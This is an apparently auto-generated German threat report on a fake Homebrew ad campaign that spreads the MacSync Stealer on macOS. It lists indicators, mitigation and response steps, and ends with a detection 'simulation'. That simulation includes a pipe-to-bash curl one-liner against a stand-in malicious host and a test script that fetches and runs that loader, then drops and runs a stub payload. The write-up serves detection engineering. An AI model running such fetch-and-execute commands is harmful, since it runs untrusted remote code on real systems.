Gefälschte Homebrew-Anzeige führt zu MacSync Stealer-Infektion

Zusammenfassung

Angreifer verwenden bösartige Suchanzeigen, um Benutzer auf eine gefälschte Homebrew-Website zu leiten, die macOS-Systeme mit dem MacSync Stealer ins Visier nimmt. Die gefälschte Seite weist die Opfer an, einen Shell-Befehl zu kopieren und auszuführen, der die Malware herunterlädt und startet. Sobald der Stealer aktiv ist, sammelt er Anmeldedaten und Systemdetails, komprimiert die gestohlenen Daten in ein ZIP-Archiv und sendet sie an einen Command-and-Control-Server. Die Kampagne unterstreicht die zunehmende Nutzung von Malvertising, um macOS-Nutzer zu kompromittieren.

Untersuchung

Der Analyst verfolgte den Angriff von der bösartigen Anzeige zu einer gefälschten Homebrew-Seite, die auf Google Sites gehostet wird. Diese Seite präsentierte einen zsh Befehl, der bei Ausführung zusätzliche Skripte von angriffsgeführter Infrastruktur herunterlud und ein temporäres ZIP-Archiv mit gesammelten Daten erstellte. Der Netzwerkverkehr bestätigte, dass das Archiv an die Domain glowmedaesthetics.comexfiltriert wurde. Forscher dokumentierten die relevanten Indikatoren, einschließlich URLs, Domains und Dateipfade, die mit der Infektionskette verbunden sind.

Minderung

Benutzer sollten es vermeiden, Befehle von nicht vertrauenswürdigen Websites zu kopieren und auszuführen und sollten die Legitimität von Paketmanager-Seiten überprüfen, bevor sie mit ihnen interagieren. Ad-Blocker oder sicherheitsorientierte Browsererweiterungen können helfen, die Exposition gegenüber bösartigen gesponserten Links zu reduzieren. Auf macOS sollte Gatekeeper aktiviert bleiben und die Ausführung von Anwendungen auf vertrauenswürdige, signierte Software beschränkt werden. Verteidiger sollten auch den ausgehenden Datenverkehr auf Verbindungen zu unbekannten Domains überwachen.

Reaktion

Sicherheitsteams sollten die Ausführung des verdächtigen zsh Befehls und jegliche curl -Aktivität, die die identifizierte bösartige URL erreicht, erkennen. Es sollten auch Warnungen für die Erstellung des /tmp/osalogging.zip Archivs und für ausgehenden Datenverkehr zu glowmedaesthetics.comgeneriert werden. Wenn eine Infektion vermutet wird, sollte das betroffene System isoliert, forensische Beweise gesammelt und alle kompromittierten Anmeldedaten zurückgesetzt werden.

Simulationsausführung

Voraussetzung: Der Telemetrie- & Baseline-Vorflug-Check muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die von der Erkennung erwartete Telemetrie genau zu erzeugen.

• Angriffserzählung & Befehle:

  1. Erste Köder: Das Opfer erhält eine Phishing-E-Mail mit einem Link zu einer gefälschten Homebrew-„Tap“-Seite, die ein bösartiges Installationsskript hostet.

  2. Ausführung: Das Opfer kopiert den Einzeiler von der Seite und fügt ihn in ihr Terminal ein:

     curl -fsSL https://malicious.example.com/macsyncloader.sh | /bin/bash

     • The curl Binärdatei wird aufgerufen (entspricht der Regel).

  3. Downloader-Skript (macsyncloader.sh):

     • Lädt den MacSync-Payload herunter über curl.
     • Schreibt den Payload nach /tmp/.macsync und führt ihn aus.
     • Popupfenster mit dialogen zum Stehlen von Anmeldedaten (simuliert über osascript auf macOS, aber hier einfach echo).

  4. Persistenz: Das Skript registriert einen LaunchAgent, der beim Anmelden ausgeführt wird (außerhalb des Umfangs der aktuellen Regel, aber relevant für eine breitere Erkennung).

• Regressionstest-Skript: Das folgende Bash-Skript reproduziert die genauen Schritte und stellt sicher, dass die Telemetrie mit der Erkennung übereinstimmt.

  #!/usr/bin/env bash
  set -euo pipefail
  
  # -------------------------------------------------
  # Simulierter, angreifergeführter Skript-Host
  # -------------------------------------------------
  MALICIOUS_HOST="https://malicious.example.com"
  LOADER="${MALICIOUS_HOST}/macsyncloader.sh"
  
  # -------------------------------------------------
  # Schritt 1: Herunterladen und Ausführen des bösartigen Loaders
  # -------------------------------------------------
  echo "[*] Erkennungsregel auslösen, indem Curl aufgerufen wird ..."
  curl -fsSL "$LOADER" | /bin/bash
  
  # -------------------------------------------------
  # Schritt 2: (Innerhalb des Loaders) – Simuliertes Payload
  # -------------------------------------------------
  # Der Loader würde normalerweise vom Remote-Host abgerufen werden.
  # Für diesen Test binden wir das Payload direkt ein.
  cat <<'PAYLOAD' > /tmp/.macsync
  #!/usr/bin/env bash
  echo "MacSync-Payload ausgeführt – host-info wird exfiltriert ..."
  # Anmeldeinformationen simulieren (keine echten Daten)
  echo "Gesammelte Anmeldeinformationen: user@example.com / password123"
  PAYLOAD
  
  chmod +x /tmp/.macsync
  /tmp/.macsync
  
  echo "[*] Simulation abgeschlossen."

• Bereinigung der Befehle: Entfernen Sie Artefakte und beenden Sie alle fortbestehenden Prozesse.

  #!/usr/bin/env bash
  set -euo pipefail
  
  echo "[*] Bereinigungsartefakte der Simulation ..."
  rm -f /tmp/.macsync
  # In diesem Test wurden keine persistenten Dienste erstellt
  echo "[*] Bereinigung abgeschlossen."